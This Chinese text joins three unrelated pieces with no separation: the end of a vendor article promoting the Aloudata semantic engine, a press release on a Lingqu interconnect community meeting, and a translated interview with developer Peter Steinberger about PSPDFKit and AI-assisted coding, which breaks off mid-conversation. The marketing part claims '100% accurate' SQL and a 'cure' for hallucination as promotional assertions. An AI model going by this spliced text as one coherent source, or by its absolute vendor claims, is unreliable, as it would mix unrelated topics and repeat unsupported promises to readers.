3、原生 AI 适配:根治幻觉的智能问数 面对AI浪潮,传统的“NL2SQL”方式因直接面对杂乱物理表而幻觉风险高。基于语义引擎的 “NL2MQL2SQL” 架构提供了更优解:

  • 流程:用户自然语言提问 → LLM 进行意图理解,生成结构化的指标查询语言(MQL,包含 Metric, Filter, Dimensions) → 语义引擎将 MQL 翻译为 100% 准确的优化 SQL 并执行。
  • 优势:将开放性的“写代码”问题,收敛为在已治理的指标库中“做选择”的问题,从根本上 根治幻觉。同时,结合行列级权限管控,确保AI问数的 安全性 与 合规性。某央国企的智能问数准确率已达 92%。

避坑指南:实施“数据瘦身”计划的三大关键决策

成功实施不仅关乎技术选型,更在于正确的组织策略与实施路径。

1、策略选择“三步走”:平滑演进,规避风险 参考 Aloudata CAN 的落地指南,推荐采用资产演进的“三步走”法则:

  • 存量挂载:将逻辑成熟、性能尚可的现有物理宽表直接挂载到新平台,确保历史报表业务 零中断。
  • 增量原生:所有新产生的分析需求,必须通过平台的语义层原生定义和响应,从源头 遏制宽表继续膨胀。
  • 存量替旧:逐步将维护成本高、逻辑混乱的“包袱型”旧宽表迁移下线,用更优的逻辑模型替代。

2、组织能力建设:“136”协作模式 改变传统IT包揽一切的模式,建立新的协作范式。例如平安证券实践的 “136”模式:10% 的科技人员负责定义原子指标和底层模型;30% 的业务分析师负责配置复杂的派生指标和业务场景;60% 的终端业务用户进行灵活的指标组装和自助分析。这培养了企业的数据民主化文化。

3、规避“重工具轻架构”:选择动态计算引擎 避免仅仅采购一个静态的指标目录或元数据管理工具。这类工具只能“管”不能“算”,依然依赖底层物理宽表。应选择具备 动态计算能力 和 智能物化引擎 的语义平台,真正实现逻辑与物理解耦,从架构上达成瘦身目标。

成功标准:如何衡量你的 TCO 优化成效?

设定可量化的关键绩效指标(KPI),从三个维度评估“数据瘦身”项目的成功。

维度关键指标 (KPI)目标参考值
成本维度存储与计算资源消耗降低百分比30% - 50%
物理宽表/汇总表数量减少率> 50%
效率维度指标开发效率提升倍数10 倍 (如从 1 天 3 个到 1 天 40 个)
业务自助分析需求占比> 60%
质量维度核心业务指标口径一致率100%
智能问数(NL2SQL)准确率> 90%

常见问题(FAQ)

Q1: 我们已经在使用数据湖/数据仓库,引入“语义引擎”会不会增加架构复杂度和成本?

不会。语义引擎(如 Aloudata CAN)旨在简化架构。它直接对接您现有的 DWD 层或湖仓,无需新建大量物理宽表(ADS 层),通过逻辑关联和智能物化复用计算,反而能减少数据冗余和重复开发,是降低总体拥有成本(TCO)的关键。

Q2: “数据瘦身”过程中,如何保证历史报表和业务分析的连续性?

推荐采用“三步走”策略。首先,将逻辑稳定、性能尚可的现有宽表直接挂载到新平台,确保历史报表无缝运行。然后,所有新需求通过平台原生定义,遏制宽表膨胀。最后,逐步将维护成本高的旧宽表迁移下线,实现平滑过渡。

Q3: 对于缺乏高级数据人才的制造企业,如何落地这种现代化的数据管理方法?

NoETL 模式的核心价值之一就是降低技术门槛。通过“定义即开发”的零代码配置和“NL2MQL2SQL”的智能问数,业务人员和分析师能承担大量分析工作。企业可以从一个核心业务场景(如生产质量追溯)切入,快速验证价值,再逐步推广,实现“弯道超车”。

核心要点

  1. 架构解耦是根本:通过构建基于 DWD 明细层的 虚拟业务事实网络,取代烟囱式物理宽表,从源头上消除数据冗余,这是实现 TCO 优化的架构基础。
  2. 治理必须自动化内嵌:将 定义即治理 与 智能物化加速 融入数据生产流程,通过系统自动判重、合并计算任务,在保障口径一致与查询性能的同时,持续优化存算成本。
  3. 服务化与 AI 原生是价值放大器:以统一、标准的指标 API 驱动业务自助与AI应用,特别是通过 NL2MQL2SQL 架构实现安全、准确的智能问数,将“瘦身”后的数据资产高效转化为业务决策力与创新力。

**本文详细内容及高清交互图表,请访问 Aloudata 官方技术博客原文:https://ai.noetl.cn/knowledge-base/smart-manufacturing-cost-t...

[中国,上海,2026年1月29日] 今日,灵衢互联社区筹备工作会议在上海顺利召开。本次会议汇聚用户、厂商、高校及开发者,共同探讨超节点互联技术的未来演进和灵衢互联社区建设方向。会上介绍了社区筹备委员会组织架构和职责目标,标志着灵衢互联社区筹备工作正式启动。社区坚持“共建、共享、共治”理念,诚邀各方积极加入共同定义超节点互联技术标准,促进互联技术发展和产业进步,实现灵衢繁荣生态。

499bf134a93489465766e959a86e2f43_20260129183927144770415.png

                            灵衢互联社区筹备工作会议现场

会上,灵衢互联社区筹备组整体介绍了社区筹备委员会组织架构,灵衢规范的版本规划节奏,并成立六大核心筹备工作组,以此推进社区筹备期间的各项工作。与会代表们结合自身技术方向展开工作组研讨,确认了加入工作组的意向,共同表示希望参与到社区的共建工作。

一个成熟协议的社区须具备“协议规范、仿真验证、兼容测试”三个核心能力。基于此,本次成立的工作组包括协议规范组、软件系统组、仿真验证组、兼容测试组、应用场景组和会员拓展组,形成从底层协议到上层应用的完整工作团队,确保互联技术的领先与产业的兼容。

协议规范组,将负责灵衢基础协议的演进、版本管理和发布,确保底层技术的持续领先,且各环节节奏一致。

软件系统组,将围绕灵衢基础规范制定配套的软件规范和参考设计,推广灵衢相关软件。

仿真验证组,将为用户提供面向灵衢系统的专业仿真平台,实现灵衢生态产品的性能仿真与功能仿真,支撑灵衢相关部件和产品完成性能预测与指标分析。

兼容测试组,将负责制定统一的灵衢兼容性测试规范,推动认证体系构建和演进,确保社区清单产品具备高度的互操作性与可靠性。

应用场景组,将深度挖掘灵衢在各行业场景下的应用价值,在社区和最终用户之间构建起桥梁,让灵衢在行业场景中发挥更大价值。

会员拓展组,将打造“有规则、可参与、可信任”的社区,建立认证机制,形成社区文化,汇聚更多有意愿的生态伙伴。

回看过去,每一次IT产业的更迭,都不是单纯的技术升级,而是架构创新、商业模式、生态体系的根本性重构。面向未来,超节点互联技术的创新正在开创AI基础设施新范式,对于AI时代计算产业的重要性不言而喻。灵衢互联社区欢迎每一位开发者加入,共建灵衢开放技术生态,共促计算产业繁荣发展。

Clawdbot(现名:Moltbot)火了到国内,社交平台上到处都是部署教学、使用教学和使用展示。国内的腾讯云、阿里云等也相继宣布上线 Clawdbot 云端极简部署及全套云服务,钉钉也在 Github 上开源了 Moltbot 接入方式。

 

项目背后的创始人 Peter Steinberger 也红极一时,他的构建方式成为很多人的学习对象。Peter 之前就是一位非常出色的开发者,打造了一个被用在超过十亿台设备上的 PDF 框架。后来他经历了严重的职业倦怠,卖掉股份,整整三年从科技圈消失。今年,他回来了,而他现在的构建方式、正在做的事情,已经和传统软件开发完全不同。

 

Peter 近期在“The Pragmatic Engineer”节目中,用近两个小时的时间分享了他的开发经历。他解释了,为什么他现在发布的代码,大部分自己都不再逐行阅读,而这其实并没什么大不了;他具体是如何打造了 ClawdBot 这个看起来就像 Siri 未来版本的个人助手的;他如何利用“闭环原则”,高效进行 AI 编程;为什么代码评审已经过时,PR 应该改名叫 Prompt Request 等,他还分享了很多关于软件工程工作流在未来几年可能发生的变化。

 

Peter 可以称得上是“AI 重塑开发方式”的最佳实践者之一。我们整理翻译了这期干货满满的对话,并在不改变原意基础上进行了删减,以飨读者。

 

怎么入行的?

 

主持人:这次终于线下见到你了,太棒了。

 

Peter:是啊,差点还搞砸了。

 

主持人:怎么回事?是忘了时间吗?你经常这样吗?

 

Peter:其实不太常见。只是最近这个时间点比较特殊,因为我最近的项目 ClawdBot 突然火了。说实话,有点睡不够了。但这种感觉也很有意思,我从来没经历过一个社区在这么短时间内爆发。真的非常好玩。

 

主持人:在聊 ClawdBot 之前,我们先把时间拉回去。你做的 PSPDFKit,据说被用在超过十亿台设备上,基本上你看到一个 PDF 被渲染,很可能背后就是它。那在更早之前,你是怎么进入技术行业的?

 

Peter:天哪,这得从很早说起了。我来自奥地利一个小地方,一直比较内向,经常被欺负。那时候,夏天总会有客人来家里,其中有个电脑迷,我迷上了他的机器,天天盯着这台机器研究,最后求妈妈给我买了一台。从那以后,我就彻底陷进去了。

 

主持人:那时候你还在读中学?

 

Peter:差不多吧,大概十四岁。我最早做的事情之一,是从学校“顺”了一张老 DOS 游戏的软盘,然后自己写了个拷贝保护,好拿去卖。加载一次要两分钟,但我当时觉得这事特别酷。当然也打了很多游戏,不过对我来说,做东西本身就像在玩游戏。说实话,现在做事带来的成就感,比通关游戏还爽。

 

一开始我看的是类似 Windows 的 bash 脚本,然后做网站,写一点 JavaScript,虽然完全不知道自己在干嘛。真正系统性地学“怎么构建东西”,是上大学之后。我从没见过我父亲,家里也很穷,所以我一直要打工,学费生活费都得自己赚。别人放假的时候,我就在公司全职上班。

 

我第一份正式工作在维也纳,本来只打算干一个月,结果他们留了我六个月,后来我在那家公司工作了大概五年。第一天他们给了我一本厚厚的书,上面写着“Microsoft MFC”,到现在我做梦还会被吓醒。我当时心想,这也太糟了。

 

后来我干脆悄悄用 .NET,也没跟他们说。过了几个月我才摊牌,说我顺便做了点“技术栈现代化”。反正木已成舟,他们居然也一直留着我,大概因为事情确实做成了。我实际上还挺喜欢.NET 2.0 的泛型,不过应用启动慢得要命,第一次跑基本要等很久,老 Windows 用户应该都懂。

 

主持人:那你后来是怎么接触到 iOS,又是怎么想到做 PSPDFKit 的?

 

Peter:那是后面的事了。上大学时,有个朋友给我看了 iPhone。我就摸了一分钟,立刻决定要弄一台。那一刻真的像被雷劈了一样,完全不一样,完全是另一个层级的体验。但当时我其实还没想过要给它做应用。

 

主持人:那大概是 2009、2010 年左右?

 

Peter:差不多。后来有一次,我在地铁上用一个交友网站,用的是 iPhone OS 2。我打了一大段很走心的消息,刚点发送后车进隧道了,JavaScript 禁用了发送按钮,然后直接报错。那时候没有复制粘贴、没有截图、页面还不能滚动,那段话就这么没了。我当时气炸了,觉得这简直不可接受。回到家我就把那个网站黑了,用正则去解析 HTML。

 

现在看当然完全不该这么干,后来我硬做了一个 App。我用的是 iPhone OS 3 的 Beta 版,Core Data 也是 Beta,还用改过的 GCC,把 blocks 编译器移植进来。各种 Beta 技术一锅炖,我自己其实也不知道在干嘛,折腾了很久才跑起来。我给那家公司写信说我做了个 App,问他们怎么看,没人理我,我就直接丢到 App Store 上架了。

 

主持人:这就是那个交友 App 的客户端?

 

Peter:对,本质上就是把 HTML 当 API 用,纯解析页面。

 

主持人:现在看挺野的,但在当年确实没人这么干。

 

Peter:我定价五美元,第一个月就赚了一万美元。当时我完全不知道流程有多复杂,Apple 的系统也很原始。我甚至把收款账户填成了我爷爷的。有一天我爷爷打电话问我,说怎么 Apple 给他打了一大笔钱,我跟他说“这是我的,你千万别动”。

 

后来有一次我在夜店里,看到有人在用我的 App,我特别骄傲,差点冲过去跟他说这是我做的,最后还是忍住了。没多久,我就跟工作了五年的公司说,我要全力做这个项目。老板当面嘲笑我,说这是个一时的风口,肯定不长久。那一刻我心里就憋了一口气:总有一天,我要做一家比你们值钱的公司。结果这花了我八年的时间。

 

我有点成瘾性格,一旦投入就停不下来。我疯狂打磨这个 App,高速学习,也是那段时间我开始用 Twitter,那些对我职业发展影响巨大。

 

后来有一天凌晨三点,我在派对上喝得有点多,然后接到了一个电话,对方说他是 Apple 的 John,说我的应用有问题,有人举报不当图片。电话挂了,我的 App 也就此下架。我刚辞了工作,心态直接炸裂,开始接零散的活儿。

 

在旧金山的一家酒吧里,我被介绍为“奥地利最好的 iOS 开发者之一”。就这样,我拿到了美国的工作机会,搬过去待了一阵子。后来去了 Nokia Developer Days,那真是史前时代了。

 

在那里,有人找我,说他们在东欧做了一个杂志阅读 App,经常崩溃。那会儿 iPad 刚出来,Steve Jobs 说它是出版业的救世主,大家都在做杂志 App。我一听觉得这是个不错的短期项目,就接了。我一打开代码,整个人都懵了。那是我见过最糟糕的 iOS 代码,整个项目只有一个文件,几千行。

 

主持人:还是 Objective-C?

 

Peter:对,是 Objective-C,而且他们把 Windows 当成 Tab 来用。我都不知道这能行。我很惊讶这居然能用,但感觉像个纸牌屋。我试着“外科手术式”地修补问题,但基本上是动一处、坏一片。最后我好不容易把它稳住了,就跟他们说,“这太疯狂了,我要重写”。

 

他们原本预计要半年,我说我一个月就能搞定,最后花了两个月,也不算差太远。接下来我就一直在解决各种 PDF 相关的技术问题。这个领域谈不上多性感,但每个领域里都能找到真正有挑战的点。比如一个 C 语言调用渲染 PDF 可能要 30MB,但整个系统只有 64MB,如果你不够小心、不够聪明,系统随时就把你干掉。

 

我那段时间完全沉迷在“把它做到极致”这件事上,比如屏幕旋转时页面的动画效果,这种细节我会反复打磨,花了远超合理的时间。所以原本一个月的活,最后干了两个月,但结果是好的。之后我又跟他们合作了一段时间。

 

后来有个朋友给我发消息,说他在做一个杂志应用,PDF 那块特别难。我跟他说,我刚好做过,对方就问我能不能把代码给他,我说可以。先把那套杂志 App 里和 PDF 有关的部分抽出来,确认对方也没意见。

 

然后我突然想到,既然有人需要,为什么不试着卖给更多人?我用一个 WordPress 模板,硬改成能跑在 GitHub Pages 上。然后用 fastlane 流程最后得到一个 Dropbox 链接,里面有源代码。当天晚上我就发了条推文。一周之内,有三个人买了,大概两百美元。

 

在当时对我来说,这已经很不可思议了。不只是有人付钱,还有十封邮件在抱怨,说他们也想买,但这个产品还没有他们想要的功能。比如有人问,为什么不能选中文本?几个月后我才真正意识到,这功能到底有多难。

 

主持人:PDF 里的文本选择。

 

Peter:对,尤其是这个。你知道那句话吗:公司是由年轻人建立的,因为他们不知道有多难。我当时完全没概念,后来才发现这简直是疯了一样复杂。

 

直到现在,前几周还有人给我写邮件,说他们在做 PDF 相关的事情,想找我帮忙。我基本都会回一句:不好意思,我已经把这辈子该懂的 PDF 知识都学完了,远远超过一个正常人该承受的量,祝你好运。

 

不过当时,这个项目真的起飞了。我一边等签证,一边继续维护。买的人越来越多。那是夏天,我躺在湖边晒太阳,邮箱里突然又进来一封邮件,说又有人买了,六百美元、八百美元。随着功能变多,我不断涨价。

 

等我真的去旧金山那家公司上班时,这个项目赚的钱,已经超过我在那里拿的工资了。但我那时的想法还是:我得去那家公司看看,于是还是去了。

 

主持人:也就是说你搬到了 San Francisco。

 

Peter:对,而且很有意思的是,那家公司后来也让我用自己的框架帮他们做东西。创业公司当然不可能只干八小时,我的本职工作很忙,个人项目也一样,睡的自然越来越少。

 

三个月后,我的经理 Sabine 把我叫过去,问我一句话:“Peter,你还好吗?”公司给了我一个选择:要么继续在这家公司工作,把个人项目停掉;要么反过来。他给我一周时间决定,而且因为签证问题,如果不留下,就得离境。这个决定其实一点都不难。我很清楚,我想做自己的事情。

 

主持人:那时候你已经看出来了,这是一个真正的生意,至少能给你带来和美国工作差不多的收入。

 

Peter:我从来不是被钱驱动的。

 

主持人:那你真正的驱动力是什么?

 

Peter:我想做那种让别人觉得“太棒了”的东西。我特别迷恋细节,迷恋那些小小的惊喜感。并不是因为这个领域没有竞争,相反,竞争很多。但我心里一直憋着一股劲:我要做一个像 Apple 自己会做出来的产品,充满关怀、打磨、克制,还有那些行业里很多人已经不在乎的细节。

 

所以哪怕有竞争对手功能更多、做得更早,我的产品依然更成功。因为开发者试过之后,都会觉得我的用起来最好。我一直觉得,产品的“感觉”比功能列表重要得多。我们为什么买 Apple?不是因为它功能最多,而是因为它用起来就是更舒服。

 

从卖组件到创建公司

 

主持人:那你是怎么从“一个人在卖 PDF 组件”,走到开始招人的?你什么时候意识到这件事可以做得更大?

 

Peter:我回到维也纳之后,决定彻底 all in,开始和一些自由职业者合作。说实话,我招人其实招得太晚了,完全可以更早迈出这一步,但这一步真的很难。

 

从那时起,这个产品开始有了自己的生命。我职业生涯里差不多有 13 年都在打磨这个名字奇怪的产品。名字我一直没改,当初想名字只花了几分钟,就叫 PSPDFKit。后来改过一次,但说实话,要不是不得不改,我可能还是不会动。

 

主持人:名字确实有点绕,但非常独特。

 

Peter:如果你写 Objective-C,你就会觉得这个名字很合理,因为它本质上就是个命名空间。我的营销策略也一直很简单:我只关心开发者。虽然最终拍板的是管理层,但只要我能说服公司里的工程师,他们就会替我去内部推广、游说。

 

我们从来不做冷邮件,也不搞侵略式销售。所有客户都是自然找上门的。我们只做三件事:把产品做好、写真正有价值的技术博客,以及参加大量开发者大会。对我来说,最重要的是让大家明白,这个产品背后的人是真的懂技术、也真的热爱这件事。而这一点,会直接体现在产品里。

 

主持人:PSPDFKit 底层用的是什么技术?最早是 Objective-C 吗?后来转成 Swift?有没有用到 C 之类的?

 

Peter:一开始确实是 Objective-C,后来逐步覆盖到所有平台。真正一次大的转折,是我们把 Apple 自带的渲染器换掉了,那个东西当时问题很多,之后改成了一个大型的 C++ 渲染器,后来所有平台基本都共用这一套核心。

 

我们在 Web 这块也做得非常早,是最早一批跑在 WebAssembly 上的 PDF 框架之一。当时我做了一件现在看来还挺聪明的事:在一切刚开始的时候,我们做了一个性能基准测试。后来这个 benchmark 被 Google、Microsoft、Apple 等公司拿去用,成了他们内部的参考指标之一。结果就是,这些大公司为了跑得比我们快,反过来不断把他们的渲染器优化得更快,而测试用的内容,其实就是我们自己的渲染场景。

 

创业后,分享公司的“核心秘密”

 

主持人:厉害。随着公司规模变大,我对 PSPDFKit 的一个深刻印象是,你们写了大量博客。记得有一篇文章,讲的是团队怎么运作:每个功能都要从 proposal 开始,因为 API 很大、用户很多,所以你们非常保守;还有类似 Boy Scout Rule 那样的重构原则。团队从十几个人发展到几十个人,这种文化是怎么建立起来的?

 

Peter:我卖股份的时候,公司大概七十人,现在已经接近两百人了。一开始我就很清楚,在维也纳不可能招到我需要的所有人,所以我们从一开始就是 remote first,后来又变成了一种混合模式,反而更复杂。

 

很多东西都是边走边学。我从来没有“我要当 CEO”的执念,我一直在写代码,我会找合适的人来帮我做公司的其他部分。业务我能做,也做得还可以,但我真的不喜欢那种企业销售电话,你得去琢磨一个“魔法数字”,看对方可能愿意付多少钱。这就是企业销售,真的很折磨。但说到底,这种模式可能是唯一行得通的。

 

主持人:你是说企业销售本身?

 

Peter:对。

 

主持人:很多开发者去厂商官网,看不到价格,只看到“联系我们”或者“预约演示”,都会很不爽。为什么一定要这样?

 

Peter:原因很简单,我们会看你的公司情况,然后大概判断你能接受的价格,再定一个数。听起来确实很糟糕,但当你的产品没办法简单拆成一个统一定价时,这是现实。

 

一个自由职业者,和一家财富五百强公司,用法完全不同,获得的价值也完全不同。如果统一收费,要么把小客户挡在门外,要么让大客户觉得价格可疑。价格定低了,大公司采购流程都走不起来;定高了,小团队直接流失。所以这个过程看起来不公平,但在某些产品上,反而是最公平的方式。

 

软件大致可以分成四个象限:容易或困难,有趣或无聊。我们处在“又难又无聊”的那一块。

如果只构建每个开发者都想构建的东西,卖起来一定很难。卖给开发者本来就难,如果一个东西既简单又有趣,那基本没戏。但如果是那种“我真不想碰,而且还特别难”的,反而是个好位置。我找到了这样一个细分领域,里面有无限多复杂问题可以解决。

 

主持人:那解析 PDF 到底难在哪?有规范啊,我是工程师,照着规范做不就行了?

 

Peter:举个最简单的例子。PDF 里有链接,比如目录,点一下跳到某一页。我一开始的假设是,可能有一两百个链接。我就按这个规模设计了整个数据模型。后来来了一个付费很高的客户,说他们的 PDF 打开要四分钟,我一看是一份五万页的文本圣经,每一页上有上百个链接。

 

主持人:那就是五十万个链接。

 

Peter:对,我的模型直接爆炸了。假设差了三个数量级。但这时候你已经是一个成熟产品了,还有稳定的 API。你要怎么彻底重构内部,又不破坏所有用户?所有东西都得改成 lazy loading。以前加载 100 个对象没问题,现在不行了。我花了整整两个月重写内部结构,同时还要保证对外 API 看起来还是“简单的”。用户不需要知道哪些是立即加载的、哪些是延迟加载的,引用关系也必须保持一致。

 

主持人:这些引用必须还能连得上。

 

Peter:对。我其实非常喜欢做支持,这也是公司能成功的重要原因之一。如果你提一个工单,结果 CEO 直接回你,还帮你解决问题,那感觉是完全不一样的。

 

我一直有个策略:支持一定要快。五分钟内回,和两天后回,体验差别巨大。这个问题就是其中一个例子,我花了两个月把它彻底解决,最后跑得非常顺,那种满足感真的很强。

 

主持人:那时候你自己还写很多代码,对吧?虽然团队已经很大了,但你仍然会深入细节。

 

Peter:当然。我有一支非常棒的团队,有些模块我参与得更多。移动端一直是我最上心的部分,但我也会深度参与技术、市场和业务。业务上我有 Jonathan 帮忙,市场和销售也有很优秀的人。其实,持续写博客、写你是怎么解决这些复杂问题的,会帮你吸引同样想解决复杂问题的人。

 

主持人:这是我对 PSPDFKit 最深的印象之一。你们的博客不只是营销,而是真的好看。说实话,我并不做 PDF,但如果要说起 PDF 框架,第一个想到的就是 PSPDFKit,因为只有你们会写这么有意思的技术文章。

 

主持人:你现在回头看,会不会也觉得奇怪,为什么更多公司不这么做?还是说,这本来就需要创始人本身是个喜欢写、喜欢拆解问题的工程师?你当时写这些文章,是出于“这对公司有用”,还是单纯因为你自己想把解决过的难题记录下来?

 

Peter:我喜欢分享,也喜欢启发别人。有时候团队内部也会纠结,要不要写这些内容,毕竟算是一些“秘密武器”,但我从来没太在意这些声音。还有一点很重要:写下来本身,就是加深理解。你觉得自己懂了,但当你要教别人时,才会发现自己是否真的懂。所以对我来说,这也是一种复盘和保存。我解决了一个很难的问题就想把它留下来,顺便帮到别人。

 

当然,我也享受关注。但更重要的是,有时候我自己过一年再回头看这些文章,会发现这就是公司最好的文档,是我自己的“技术笔记本”。它在很多方面都很有用。很多大公司流程太重,而且不少开发者本身不喜欢写东西,所以我后来干脆规定,每个月给所有人一整天,只干一件事:写一篇博客。

 

主持人:那天不用干别的活,只写。

 

Peter:对,就写。一天的时间其实已经很多了,现在我写一篇文章也就几个小时。我不想过多谈论公司增长阶段,但我觉得公司最有意思的阶段,是刚开始以及快速成长的阶段。

 

后来人多了,流程多了,更像是在“养护花园”,而不是疯狂 hack。事情变得更迭代化,也没那么刺激了。人一多,内部摩擦、情绪问题也多,这些我并不享受。那段时间我真的被烧干了。

 

“停更”,赋闲

 

主持人:你觉得是什么让你最终人力交瘁的?

 

Peter:我只是工作太猛了,几乎每个周末都在工作,还要处理大量管理事务。CEO 本质上就是“兜底的人”,凡是别人没处理好、处理不了、或者搞砸的,最后都得你来收拾。而且很孤独,你不能随便讲很多事情。哪怕公司已经很开放了,你也不能一直表达负面情绪,就算真的发生了很糟糕的事,你也得扛着。

 

我记得有个周末,合伙人凌晨给我打电话,说一家大型飞机制造公司,因为我们的软件崩了,飞机停飞了。那是个非常“刺激”的周末,最后我拆了他们的应用,证明是他们外包代码乱改,触发了授权回退逻辑。但那种时刻,你会觉得公司随时可能完蛋,而这种压力只是所有压力中的一部分。

 

这些事情你能撑一阵子。但我也相信,burnout 不完全是因为工作太多,更是因为你开始不再真正相信自己在做的事情,或者内部冲突太多。我们当时在管理团队里争论也很多,我还犯了一个错误,以为公司应该用一种过度民主的方式来管理。这些都消耗了我。但即便如此,我一点都不后悔这段经历。

 

主持人:从外人的角度看,你卖掉了股份,赚到足够多的钱,按理说已经不用再工作了。很多刚起步、或者未来想创业的人,都会觉得这简直是终极梦想。既然已经“通关”,是不是就该停下来、享受生活了?现实是,大多数人走不到那一步。但一旦走到了,好像任务就完成了,就像攀岩爬到顶,敲响铃铛,游戏结束。

 

主持人:外界看,你博客更新停了好几年。那段时间你在做什么?又学到了什么?也就是在你回归到现在之前,那几年到底发生了什么?

 

Peter:我真的花了很长时间让自己“降压”,去填补那些我以为错过的人生体验,花了不少钱。有几个月,我甚至连电脑都没开过。那段时间,我完全没有“接下来该干嘛”的感觉。

 

说实话,那种状态挺违和的,你这么早就“退休”,或者说有一个好到不需要再工作的退出,这件事本身就会把人搞懵。那几年对我来说,其实挺难熬的。

 

后来有一天,大概在四月,我突然想起一个很多年前只是当副业做过的项目,我心想还是想把它继续做完吧。于是,三年多之后,我重新坐回电脑前,开始写代码。那个项目是个 Twitter 分析工具,用 Swift 和 SwiftUI 写的。其实当年我就知道,这东西如果做成 Web 会好很多。

 

主持人:所以这是一个你一直放在心里的老想法?跟 Twitter 有关的?

 

Peter:对,算是分析工具。最开始只是我自己想用,因为市面上根本没有。三年后再看,还是没有。现在勉强算有点类似的,但我中途也被别的事带跑了。我当时想用 Web 技术重写,但说实话,在公司里我从来没碰过那一块。那一整套技术栈一直是 Martin 在负责,他很厉害,所以我完全不用操心。

 

主持人:所以你其实一直没怎么亲手下场?

 

Peter:对。等我再回来自己做的时候,我才发现,“哇,这一层真的很深”,而且这其实是个陷阱:你在某一套技术上越熟练,跳到另一套时就越痛苦。不是做不到,是太折磨人了。我在 Apple 那套技术里,闭着眼都能写代码;可一换栈,连最基础的东西都要去 Google,一下子就感觉自己又成了新手。

 

主持人:而且经验越多,越讨厌这种感觉。效率下降,明明知道自己本可以更快。

 

Peter:对。所以我回来的时候就在想:那 AI 到底是什么?CI、AI 那些大家都在吐槽的东西,到底值不值得看一眼?老实说,我某种程度上反而要感谢那三年几乎没碰电脑的日子,因为你们那时候已经把 AI 看过一轮了,知道它当时有多烂。

 

回归即上手 Claude Code,“上瘾了”

 

主持人:对,你错过了 GitHub Copilot 的早期测试版,那种“高级自动补全”的阶段。后来有了 GPT-3.5,再到 GPT-4,才是真正的飞跃。所以你回来之后,第一个用的是什么工具?你等于是直接跳过了两年开发者一边用、一边嫌弃 AI 的阶段。

 

Peter:是 Claude Code。

 

主持人:你一上来就用它?

 

Peter:对。我记得它刚发布不久,之前就有 Beta。

 

主持人:也就是说,你休息了一段时间回来,直接打开 Claude Code,前面的演进全都没经历。

 

Peter:没错。我记得我拿了一个以前写得很乱的副项目,又用我自己做的一个浏览器插件,把整个 GitHub 仓库转成一个 1.3MB 的 Markdown 文件。我把它丢进 Google AI Studio,用 Gemini 之类的模型,敲了一句:“给我写一份 spec。”它直接生成了四百多行代码。

 

我再把这份 spec 拖回 Claude Code,说一句“照这个做”,然后我去干别的事了。等我回来,它告诉我:“已经百分之百可以用于生产环境了。”我一跑,直接崩了。

 

后来我又给它接了 MCP,让它能用浏览器,我记得 MCP 当时已经有了。它又跑了几个小时,最后居然做出了一个 Twitter 登录页,还能跑点流程。说实话,效果不算好,但它真的“做出了点东西”。那一刻对我来说,简直是被震住了。

 

主持人:那是在去年四月、五月左右,对吧?

 

Peter:对。已经好到让我看清方向了。我立刻意识到:这就是未来。从那之后,有好几个月我都睡不好觉。

 

主持人:我记得有一次我凌晨五点在 Twitter 上给你发私信,你马上就回了。我还问你怎么这么早,你说这是常态,你基本都没睡。我问你在干嘛,你说一直在用 Claude,特别上瘾。

 

Peter:真的,就跟赌场一个道理,它就是我的小老虎机。你敲下一个 prompt,要么啥也没发生,要么一坨垃圾,要么突然给你个让人头皮发麻的结果。

 

主持人:而且你是一个经验非常丰富的开发者,对你来说,被“震撼”并不容易。你见过好代码、烂代码,心里是有一个标准的。

 

Peter:所以才好笑。我以前在公司时,花了大量的时间在所谓“抠细节”上。现在回头看,我都会想:我当时在干嘛?客户根本感知不到这些。当然,代码要可靠、要快、要安全,这些是底线。但我当年真的抠太多了。

 

主持人:但另一方面,你刚才也说过,大家之所以喜欢 PSPDFKit,正是因为它打磨得最好、最稳定。你不觉得那种“抠细节”其实是在控制技术债吗?某种程度上,正是这种偏执才让产品性能和质量都站得住。

 

Peter:是的,这么说也没错。到现在我也还是这样。我上一篇博客,其实就是在“忏悔”,我承认我开始在主分支上直接提交 AI 写的代码。

 

与此同时,我其实还是花了大量时间在做结构重构。就拿最近来说,我特别想把一个 PR 合进去,那是一条接近一万五千行的改动链。

 

在一个项目里,我把所有东西都迁移到了插件化架构,这件事让我非常兴奋。我真的很在意整体结构。但我没有把每一行代码都读一遍,因为很多代码说白了就是枯燥的“管道工程”。

 

你看,大多数应用本质上都差不多:数据从 API 进来,是一种形态;你解析、封装,变成另一种形态;存进数据库,又是一种形态;再读出来,又变一次;最后变成 HTML 或别的形式,你在页面里输入,它又变了。大部分软件,其实就是在应用里不断“揉捏”数据,我们本质上就是高级的数据搬运工,而真正难的部分,如 Postgres 这种东西三十年前就被一群天才解决了。这就是现实。

 

当然,总会有一些有意思的地方,但我真的不需要关心每个按钮怎么对齐、每个 Tailwind class 怎么写。有些细节很无聊,有些细节很有趣,但整体来说,更重要的是系统架构,而不是逐行读代码。

 

日常如何用 AI 编程工具工作?

 

主持人:那我们跳到现在。你现在用 Claude 相关工具写代码时,日常工作流是怎样的?你用终端吗?几个终端?都用哪些工具?你刚才说你不太做逐行代码审查,但又一直在想做架构。如果你要跟一个即将加入团队的开发者解释,你的一天大概是什么样的,会怎么说?

 

Peter:这个过程挺有意思的。稍微回顾一下,一开始是 Claude Code,然后我就彻底上头了。接着有一段时间我用 Cursor,又试了 Gemini 2.5,后来又用了 Opus 4。我还把不少朋友也拉进来了,比如我在越南认识的 Armin 和 Mario,他们都是被我“传染”的。我当时状态真的很上头,搞得他们也开始试,然后大家一起凌晨五点不睡觉。我把这群人戏称为“黑眼圈俱乐部”。这也是为什么我后来在伦敦搞了一个 meetup,名字就叫Claude Code Anonymous

 

真正把我震住的,是一个认知上的变化:我突然意识到,我现在几乎什么都能做了。

 

以前做副业要慎重挑选,因为写软件真的很难。现在也不轻松,但那种“摩擦”感变了。过去是“我在这个技术栈里很强,在那个栈里很菜”,现在我会想:算了,直接上 Go 吧。我完全不懂 Go,但我有系统层面的理解。一旦你有了这种理解,就会慢慢形成一种感觉,知道什么是对的、什么是错的。这本身就是一种技能。

 

我记得有人发推说,写代码时你能“感觉到摩擦”,而正是这种“摩擦”帮你做出好的架构。我现在 prompt 的时候也有同样的感觉:我能看到代码刷刷地生成、能感知它花了多久、能感觉到模型是不是在“顶你”,也能判断生成的东西是乱的,还是有章法的。

 

我在发出 prompt 的那一刻,心里其实已经有个预期:这事大概要多久。如果明显比预期慢,我立刻就知道有问题。

 

主持人:你等于是在“感觉”模型的状态,对吧?

 

Peter:对,我觉得这是一种共生关系。我在学着更好地“跟它说话”,甚至可以说是一种新的、半死不活的语言。同时,我用这些工具的能力在提升,模型本身也在进化。

 

